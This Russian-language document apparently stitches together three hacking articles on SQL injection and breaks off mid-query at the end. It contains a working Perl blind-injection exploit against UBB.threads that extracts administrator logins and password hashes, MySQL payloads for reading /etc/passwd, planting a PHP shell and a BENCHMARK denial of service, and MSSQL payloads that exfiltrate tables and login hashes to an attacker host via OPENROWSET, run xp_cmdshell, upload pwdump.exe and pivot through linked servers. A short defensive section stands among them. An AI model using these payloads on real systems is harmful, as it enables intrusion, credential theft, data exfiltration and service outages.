---------------------------
Пришло время рассмотреть конкретный пример использования посимвольного перебора. Нашим пациентом
станет форум UBB.threads в котором недавно нашли ошибку типа sql injection в файле showmembers.php.
На данную уязвимость был выпущен эксплоит позволяющий получить пароль администратора через
обьединение запросов с помощью UNION, естественно данный сплоит работает только на базах mysql
версии выше 4.0 Мы попробуем написать эксплоит который будет работать на всех версиях БД.

Преведу
код из файла showmembers.php:

// Set the default sort
$andlike = "";
if (empty($sb)) { $sb = 1; };
if ($like != "") {
$andlike = "AND U_Username LIKE '$like%'";
}
// --------------------------------------------------
// Grab the total number of users out of the database
$query = "
SELECT COUNT(*)
FROM {$config['tbprefix']}Users
WHERE U_Approved='yes'
$andlike
";

В данном коде скрипт запросом получает количество пользователей из таблицы у которых имя
пользователя U_Username совпадает со строкой переданной нами в качестве параметра like.

Например для того чтобы найти пользователей у которых username начинается с 123 мы отдаем такую
команду в браузере

http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=123

В базе данных выполняется запрос

SELECT COUNT(*) FROM w3t_Users WHERE U_Approved='yes' AND U_Username LIKE '123%'

Так как параметр like никак не проверяется перед помещением в запрос мы можем вставить в данный
запрос дополнительные условия:

http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=12345' AND ascii(lower(substring(U_Password,1,1)))=50 /*

Что вызовет выполнение в БД запроса:

SELECT COUNT(*) FROM w3t_Users WHERE U_Approved='yes' AND U_Username LIKE '12345' AND ascii(lower(substring(U_Password,1,1)))=50 /*%'

И данный запрос вернет информацию о пользователе имя которого 12345 если код первого символа его
пароля равняется 50 т.е. если первый символ его пароля 2.

Точнее сказать что этот запрос возвращает количество строк совпадающих с условием, а далее в
зависимости от этого количества, производятся следующие запросы к БД выбирающие информацию о данных
пользователях. Опубликованный эксплоит как раз и использовал обьединение через UNION в этих
последующих запросах для вывода хешей паролей пользователей. В нашем же случае нам вполне достаточно
этого первого запроса к БД получающего количество строк. Ведь если будет возвращаться нулевое
количество то и дальнейшие запросы выполняться не будут и соответственно не будет никакого вывода. А
наличие или отсутствие вывода и является единственным необходимым нам ответом скрипта на основании
которого мы и проведем перебор.

Одна особенность данного форума состоит в том что в U_Username хранится имя пользователя которое
отображается при добавлении сообщений и в списке пользователей, но для авторизации на форуме
используется U_LoginName которое не отображается и которое нам также придется получить для чего мы
воспользуемся уже известной функцией CONCAT. И запрос принимает вид:

http://127.0.0.1/UBB/ubbthreads/showmembers.php?Cat=&page=1&like=12345' AND ascii(lower(substring(CONCAT(U_LoginName,CHAR(58),U_Password),1,1)))=50 /*

Функция char(58) соответствует символу : и предназначена для того чтобы при получении отделить логин
от хэша пароля.

Итак теперь осталось только определить строку которая будет присутствовать в ответе скрипта при
правильном выполнении запроса и все данные необходимые для перебора будут у нас в руках.

После просмотра html кода легко определить что при присутствии вывода информации о пользователе
(т.е. при выполнении запроса) в коде будут присутствовать строки типа: <td class="lighttable">
Именно по этим строкам мы и будем определять выполнение условия в запросе.

Таким образом все данные необходимые для перебора у нас имеются и можно написать эксплоит который
будет перебирать символы и выводить полученный результат. Код данного сплоита таков:

--- start r57ubb.pl ---

#!/usr/bin/perl

use LWP::UserAgent;

# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57

$path = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$n=0;
$|++;

if (@ARGV < 2) { &usage; }

print "Please wait...\r\n";
print "[";

while(1)
{
# начинаем перебор с полного диапазона
&found(0,122);
# если возвращенный код 0 значит дошли до конца строки и выводим полученный результат
if ($char=="0")
{
print "]\r\n\r\n";
# разделяем полученную строку на логин и пароль
($res1,$res2)=split(":",$allchar); #
print "------------------x REPORT x-------------------\r\n";
print " Username: $username\r\n";
print " Login Name: $res1\r\n";
print " Password Hash: $res2\r\n";
print "------------------x REPORT x-------------------\r\n";
print "total requests: $n\r\n";
exit();
}
else
{
# преобразуем полученный код в символ и добавляем его к строке результата
print "|";
$allchar .= chr($char);
}
# увеличиваем позицию символа на единицу и продолжаем перебор
$s_num++;
}
sub found($$)
{
# определяем переданный диапазон
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 то переходим к перебору
if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
# определяем центр диапазона
$r = int($fmax - ($fmax-$fmin)/2);
# делаем условие
$check = ">$r";
# и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r+1); }
}

sub crack($$)
{
# определяем переданный диапазон
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# и проходим по каждому значению из диапазона
while ($i<$cmax)
{
# делаем условие
$crcheck = "=$i";
# проверяем его
if ( &check($crcheck) ) { return $i; }
$i++;
}
return;
}

sub check($)
{
# увеличиваем количество запросов
$n++;
# определяем условие
$ccheck = $_[0];
# создаем http запрос к серверу
$http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";

# Если вы хотите видеть все запросы отправляемые к скрипту
# то расскоментируйте следующую строку
# print "\r\n $http_query \r\n";

$mcb_reguest = LWP::UserAgent->new() or die;
# получаем ответ сервера
$res = $mcb_reguest->post($http_query);
@results = $res->content;
# проверяем ответ сервера на наличие строки
foreach $result(@results)
{
if ($result =~ /<td class=\"lighttable\">/) { return 1; }
}
return 0;
}

sub usage
{
print "=========================================================\r\n";
print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
print " For all MySQL versions! Don't need UNION support!\r\n";
print "=========================================================\r\n";
print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
print "=========================================================\r\n";
exit();
}

--- end r57ubb.pl ---

Итак пусть форум крутится на mysql версии 3.23.58 и на форуме существует пользователь имя которого
"im_not_admin". Попробуем получить его логин и пароль.

C:\>r57ubb.pl http://127.0.0.1/ubbthreads/showmembers.php im_not_admin
Please wait...
[|||||||||||||||||||||||||||||||||||||||||||]

------------------x REPORT x-------------------
Username: im_not_admin
Login Name: real_admin
Password Hash: 5f4dcc3b5aa765d61d8327deb882cf99
------------------x REPORT x-------------------
num requests: 373

C:\>

Как видно нам это удалось и общее количество запросов понадобившихся для перебора составило 373
запроса. Таким образом для перебора строки из 43 символов (32 символа хеш пароля + 10 символов имя
юзера + 1 символ разделитель) требуется примерно 350-400 запросов и на диалапе перебор занимает
примерно секунд 20-30. Имхо совсем неплохо ;)
В приведенном коде перебирается диапазон символов с кодами от 0 до 122 и не используется функция
lower() так как в логине пользователя могут использоваться символы в верхнем регистре. Можно еще
ускорить перебор уменьшив диапазон перебора после получения символа разделителя (:) так как пароль в
данном форуме шифруется md5 и соответственно в хеше будут только символы в нижнем регистре и цифры.
Но реализацию этого я оставлю для вас...

[ 9 ] ... OUTRO
---------------
Методы описанные в данной статье на примере баз MySQL с тем же успехом могут применяться и на MSSQL,
единственное, что для этого потребуется это немного видоизменить запросы. В MSSQL включена поддержка
как обьединения через UNION так и поддержка подзапросов, таким образом на данной базе посимвольный
перебор трудностей не вызывает.
Целью данной статьи было показать как возможные взломщики могут получить информацию из баз данных
пользуясь внедрением sql кода в разнообразные запросы при условиях отсутствия вывода полученного
результата. Надеюсь эта статья подтолкнет програмистов пишущих софт, использующий в своей работе БД,
тщательнее относиться к проверке данных получаемых от пользователя перед помещением этих данных в
запрос к базе данных, вне зависимости от того какого рода этот запрос.


SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем.

http://site/test.php?id=12'

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как

http://site/test.php?id=99999' должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его:

http://site/test.php?id=9999+union+select+'test',null,null/*

http://site/test.php?id=9999+union+select+null,'test',null/*

И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://site/test.php?id=9999+union+select+1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4)системная информация

у нас уже достаточно информации чтобы составить такой запрос.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Кроме того можно узнать много интересного:

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) названия столбцов в таблице

Их аналогично, можно перебрать: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и тд.

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*

запись файлов в веб директорию (php shell).

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа.

http://site/test.php?id=9999+union+select+null,' >',null+from+table1+into+outfile+'/usr/local/site/www/banners/cmd.php'/*

При этом конструкция from table1 обязательна.

Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

инъекция после limit.

Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select … limit 1,2 union select….

Select … limit 1 union select….

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select … limit 99999,1 union select…. Либо, Select … limit 1,0 union select….

некоторые "подводные камни".

1) Magic quotes

Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку.

2) Mod_security.

Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

DOS в MySQL инъекции.

Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

другие типа MySQL инъекции.

Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

mysql_query("select id from users where password like '".addslashes($password)."' and user like '".addslashes($user)."'");

в этом случае к любому пользователю подойдет пароль %

apache mod_rewrite

В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1"

Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

коротко о защите.

Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу.

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию.

if((string)$id<>(string)(int)$id) {

//пишем в лог о попытке

die('ops');

}

2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки.

$str=addslashes($str);

или, лучше,

mysql_escape_string($str)

3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.

Введение

Этот документ не охватывает базовый SQL синтаксис или SQL инъекции. Предполагается, что читатель уже имеет отличное понимание предмета. Этот документ будет сфокусирован на продвинутых техниках, которые могут быть использованы в атаках на web-приложения использующие Microsoft SQL Server. Эти техники демонстрируют как атакующий может использовать SQL инъекции для того чтобы извлекать содержимое из базы данных минуя брандмауэр и проникать во внутреннюю сеть. Этот документ призван научить профессионалов информационной безопасности потенциально опасным эффектам SQL инъекций, которые могут произойти в вашей организации.

Web-приложения становятся более защищенными, поскольку растёт количество уведомлений об атаках, таких как SQL инъекции. Тем не менее, в больших и комплексных приложениях, одна оплошность может стать результатом компрометации всей системы. Множество разработчиков и администраторов web-приложений могут иметь ложное ощущение безопасности, поскольку они используют хранимые процедуры или скрывают сообщения об ошибках возвращаемые в окно браузера. Это даёт основание верить в то, что уязвимостью не возможно воспользоваться.

Хотя в этом документе мы обсуждаем Microsoft SQL Server, это не говорит о том, что этот продукт менее защищен, чем другие платформы, такие как Oracle или IBM DB2. SQL инъекции это не конкретная уязвимость Microsoft SQL Server это также проблема баз данных в целом. Возможно, большая проблема Microsoft SQL Server это его гибкость. Благодаря этой гибкости открываются новые возможности для проведения атак класса SQL Injection. Цель этого документа показать, что каждый раз, когда администратор или разработчик допускает выполнение произвольного SQL запроса, атакуемая система открыта для полного захвата. Это не является показателем того, что продукт Microsoft SQL Server уязвимым в целом.

Обнаружение SQL инъекций

Множество разработчиков и web администраторов считают, что SQL инъекция не представляет угрозы в случае, если атакующий не может видеть сообщения об ошибках вызванные SQL запросом или не возвращают результат запроса в окно браузера. В первую очередь адресуем читателя к документу, написанному Chris Ansley из NGSSoftware[1]. Этот документ расширяет возможные пути использования SQL инъекций.

При попытке использования SQL инъекций в приложениях, атакующий нуждается в методе определения действительно ли произошло внедрение произвольного SQL запроса. Так же существует необходимость в методе получения результатов. Для этого могут быть использованы две встроенные функции SQL сервера. Функции OPENROWSET и OPENDATASOURCE предназначенные для открытия удаленного источника данных. Эти функции используются для открытия соединения посредством провайдера OLEDB. Функция OPENROWSET будет использована во всех примерах, но с теми же результатами может быть использована функция OPENDATASOURCE.

Это выражение возвращает все строки таблицы table1 из удаленного источника данных:

 

select * from 
       OPENROWSET( 'SQLoledb',
                'server=servername;uid=sa;pwd=h8ck3r',
                'select * from table1' )
 

Параметры:
(1) Имя провайдера OLEDB
(2) Строка подключения (может быть в формате требуемом OLEDB или ODBC)
(3) Выражение SQL


Параметр «строка подключения» может содержать другие опции, такие как используемую сетевую библиотеку или IP адрес и порт, необходимые для подключения. Пример приведен ниже.

 

select * from 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',
       'select * from table' )
 

В этом примере, SQL сервер будет использовать провайдер OLEDB – SQLoledb, чтобы выполнить SQL выражение. Провайдер OLEDB будет использовать библиотеку сокетов SQL Server (DBMSSOCN) для подключения к порту 1433 и IP адресу 10.0.0.10 и результаты SQL выражения будут возвращены локальному SQL серверу. Логин sa и пароль h8ck3r будут использованы для аутентификации на удаленным источнике данных.

Следующий пример демонстрирует, как функция OPENROWSET может быть использована для подключения к произвольному IP адресу/порту включая IP адрес и порт атакующего. В этом случае хост хакера имеет имя hackersip и Microsoft SQL Server работает на 80-ом порту. Имя «hackersip» может быть заменено IP адресом и порт может быть любым предпочтительным для хакера.

 

select * from
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from table')
 

В процессе SQL инъекции атакующий может определить, выполнился ли SQL запрос. Если SQL запрос успешно выполнен, атакуемый сервер попытается установить исходящее соединение с компьютером атакующего на указанный порт. Это исходящее SQL соединение в большинстве случаев не будет блокировано брандмауэром, так как используется 80-й порт.

Эта техника позволяет атакующему узнать выполнился ли SQL запрос, даже если сообщения об ошибках и результаты запроса не были выведены в окно браузера.

Получение результатов из SQL инъекций

Функции OPENROWSET и OPENDATASOURCE наиболее часто используются для извлечения необходимых данных. Они могут быть также использованы для помещения данных на удаленный SQL сервер. Функция OPENROWSET может быть использована не только для выполнения запроса SELECT, но также для выполнения INSERT и DELETE во внешних источниках данных. Обработка данных из удаленного источника не является общим случаем и работает, только если OLEDB провайдер поддерживает эту возможность. Провайдер SQLOLEDB обладает такими функциональными возможностями.

Ниже приведен пример помещения данных во внешний источник данных:

 

insert into
       OPENROWSET('SQLoledb',
       'server=servername;uid=sa;pwd=h8ck3r',
       'select * from table1') 
select * from table2
 

В этом примере все строки в таблице table2 локального SQL сервера будут добавлены в таблицу table1 находящуюся на удаленном сервере. Для успешного выполнения запроса необходимо чтобы обе таблицы имели схожую структуру.

Как мы узнали в предыдущем абзаце, удаленные источники данных могут быть перенаправлены на любой по выбору сервер атакующего.

Атакующий может изменить запрос выше для соединения с удаленным источником данных, таким как копия Microsoft SQL Server запущеная на машине атакующего.

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from table1'
select * from table2
 

Для того чтобы успешно вставить данные, атакующий должен создать таблицу table1 с теми же столбцами и типами данных как в таблице table2. Эта информация может быть определена, используя этот же трюк для системных таблиц. Это сработает, потому что структура системных таблиц заранее известна. Атакующий должен начать с создания таблиц со структурой идентичной системным таблицам sysdatabases, sysobjects и syscolumns. Затем чтобы извлечь необходимую информацию должны быть выполнены следующие SQL запросы:

 

insert into
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from _sysdatabases') 
select * from master.dbo.sysdatabases
 
insert into
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from _sysobjects') 
select * from user_database.dbo.sysobjects
 
insert into
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from _syscolumns') 
select * from user_database.dbo.syscolumns
 

После воссоздания таблиц в базе данных, загрузка необходимых данных из SQL сервера тривиальна.

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from table1') 
select * from database..table1
 
insert into
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from table2') 
select * from database..table2
 

Используя этот метод, атакующий может извлекать содержимое из таблиц, даже если приложение скрывает сообщения об ошибках или результаты неверных запросов.

Получив соответствующие привилегии, атакующий сможет загрузить список логинов и паролей:

 

insert into
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from _sysxlogins') 
select * from database.dbo.sysxlogins
 

Получение хэшей паролей даёт возможность атакующему использовать brute-force атаку для подбора паролей.

Атакующий также сможет выполнять команды на атакованном сервере и получать результаты их выполнения:

 

insert into
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
       'select * from temp_table') 
exec master.dbo.xp_cmdshell 'dir'
 

Если брандмауэр сконфигурирован блокировать все исходящие соединения SQL сервера, атакующий может использовать один из нескольких методов для обхода брандмауэра. Атакующий может использовать при передаче данных 80-й порт предназначенный для HTTP соединения. Ниже приведен пример этой техники:

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from table1') 
select * from table1
 

Если исходящее соединение на 80-й порт блокируется брандмауэром, то атакующий может попытаться использовать другие номера портов до тех пор, пока не отыщет незаблокированный.

Повышение привилегий

Часто администратор, следуя рекомендациям безопасности, настраивает приложения для запуска от имени непривилегированного пользователя. Найдя уязвимость в приложение, запущенном от непривилегированного пользователя атакующий пытается повысить привилегии и получить права администратора. Атакующий может использовать другие известные и неизвестные уязвимости, приводящие к повышению привилегий. Существует некоторое количество свежих уязвимостей обнаруженных в SQL сервере, если атакующий может выполнять произвольные SQL запросы, то он сравнительно легко сможет поднять привилегии.

Опубликованные уведомления об уязвимостях доступны по адресам:

http://www.appsecinc.com/cgi-bin/show_policy_list.pl?app_type=1&category=3 http://www.appsecinc.com/resources/alerts/mssql/

Загрузка файлов

Как только атакующий получил необходимые привилегии SQL сервера, он возможно захочет загрузить на сервер бинарный файл. Поскольку это не может быть сделано используя протокол такой как SMB, порты 137-139 обычно заблокированы брандмауэром, атакующему нужен другой метод для помещения бинарного файла в файловую систему жертвы. Это может быть сделано посредствам загрузки двоичного файла в локальную таблицу на хосте атакующего и помещение файла на атакуемый хосте используя соединение SQL сервера.

Для реализации этого атакующий должен создать таблицу на локальном сервере следующим образом.

 

create table AttackerTable (data  text)
 

Создав таблицу для бинарного файла, загружаем его туда следующим образом:

 

bulk insert AttackerTable 
       from 'pwdump.exe' 
       with (codepage='RAW')
 

Бинарный файл может быть загружен на сервер-жертву с сервера атакующего при помощи следующего SQL запроса выполненного на сервере-жертве:

 

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout  pwdump.exe -c -
Craw -Shackersip -Usa -Ph8ck3r'
 

Этот запрос приведет к исходящему соединению с сервером атакующего и запишет результат запроса в файл. В этом случае, соединение происходит с использованием протокола и порта используемого по умолчанию, такое соединение, вероятно, будет блокировано брандмауэром. Для обхода брандмауэра, атакующий может попытаться использовать:

 

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'
 

и затем:

 

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout  pwdump.exe -c -
Craw -SHackerSrvAlias -Usa -Ph8ck3r'
 

Первый SQL запрос конфигурирует соединение с сервером хакера для использования 80-го порта, второй SQL запрос соединяется с сервером хакера, используя 80-й порт, и закачивает бинарный файл.

Другой метод — хакер мог бы использовать скрипт Visual Basic (.vbs) или JavaScript (.js) поместив файл в файловую систему и запустив скрипт.

Используя эту технику, скрипт будет подключаться к какому-нибудь серверу и скачивать бинарный файл атакующего или копировать и запускать файл на сервере-жертве.

 

exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'        
...
exec xp_cmdshell '"last script line" >> script.vbs'
 
exec xp_cmdshell 'script.vbs' -->execute script to download binary
 

Проникновение во внутреннюю сеть

Соединенные и удаленные серверы Microsoft SQL Server позволяют одному серверу прозрачно взаимодействовать с другим удаленным сервером баз данных. Соединенные серверы позволяют выполнять распределенные запросы и даже позволяют управлять удаленными серверами баз данных. Атакующий может воспользоваться этими возможностями для доступа во внутреннюю сеть.

Атакующий должен начать со сбора информации хранящейся в системной таблице master.dbo.sysservers как продемонстрировано здесь:

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysservers') 
select * from master.dbo.sysservers
 

Далее атакующий может запросить информацию с соединенного удаленного сервера.

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysservers') 
select * from LinkedOrRemoteSrv1.master.dbo.sysservers
insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysdatabases') 
select * from LinkedOrRemoteSrv1.master.dbo.sysdatabases
 

...и т.д.

Если сединенные и удаленные серверы не сконфигурированы для доступа к данным (не сконфигурированы для выполнения произвольных запросов, разрешено выполнение только хранимых процедур) атакующий может попытаться:

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysservers')
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysservers'
insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysdatabases') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql N'select * from
master.dbo.sysdatabases'
 

...и т.д.

Используя эту технику атакующий может «прыгать» от одного сервера к другому проникая глубже во внутреннюю сеть через связанные и удаленные серверы:

 

insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysservers') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
master.dbo.sysservers'''
insert into 
       OPENROWSET('SQLoledb',
       'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
       'select * from _sysdatabases') 
exec LinkedOrRemoteSrv1.master.dbo.sp_executesql
N'LinkedOrRemoteSrv2.master.dbo.sp_executesql N''select * from
